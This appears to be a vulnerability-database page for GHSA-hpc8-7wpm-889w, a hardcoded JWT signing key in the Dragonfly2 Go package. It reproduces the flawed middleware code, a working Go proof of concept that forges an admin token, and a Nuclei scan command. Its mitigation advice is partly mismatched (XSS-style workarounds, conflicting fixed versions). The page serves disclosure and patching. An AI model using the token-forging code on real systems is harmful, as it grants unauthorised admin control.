Dragonfly2 has hard coded cyptographic keyGHSA-hpc8-7wpm-889w
CRITICALFix: dragonflyoss/Dragonfly2@e9da69dGHSA-hpc8-7wpm-889w is a critical-severity (CVSS 9.8) CWE-321 vulnerability in d7y.io/dragonfly/v2. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for d7y.io/dragonfly/v2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hpc8-7wpm-889w.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
d7y.io/dragonfly/v2🐹d7y.io/dragonfly/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details
Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass
authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
Realm: "Dragonfly",
Key: []byte("Secret Key"),
Timeout: 2 * 24 * time.Hour,
MaxRefresh: 2 * 24 * time.Hour,
IdentityKey: identityKey,
IdentityHandler: func(c *gin.Context) any {
claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey]
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{
"message": "Unavailable token: require user id",
})
c.Abort()
return nil
}
c.Set("id", id)
return id
})
PoC
Use code below to generate a jwt token
package main
import (
"errors"
"fmt"
"time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error {
// Verify expiry.
if stc.ExpiresAt <= time.Now().UTC().Unix() {
vErr := new(jwt.ValidationError)
vErr.Inner = errors.New("Token is expired")
vErr.Errors |= jwt.ValidationErrorExpired
return vErr
}
return nil
}
type DragonflyTokenClaims struct {
Id int32 `json:"id,omitempty"`
ExpiresAt int64 `json:"exp,omitempty"`
Issue int64 `json:"orig_iat,omitempty"`
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}
And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">
Impact
An attacker can perform any action as a user with admin privileges.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | d7y.io/dragonfly/v2 | ≥ 2.1.0-alpha.0&&< 2.1.0-beta.1 | 2.1.0-beta.1go get d7y.io/dragonfly/v2@v2.1.0-beta.1 |
| 🐹Go | d7y.io/dragonfly/v2 | all versions | 2.0.9-rc.2go get d7y.io/dragonfly/v2@v2.0.9-rc.2 |
Affected Products
dragonflylinuxfoundationResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for d7y.io/dragonfly/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update d7y.io/dragonfly/v2 to 2.1.0-beta.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hpc8-7wpm-889w is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
How to detect GHSA-hpc8-7wpm-889w
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-hpc8-7wpm-889w -u https://target- Template
- Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
- Severity
- critical
- Impact
- Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system.
- Remediation
- Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key.
Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-hpc8-7wpm-889w in your dependencies?
Find it across Go, including transitive dependencies.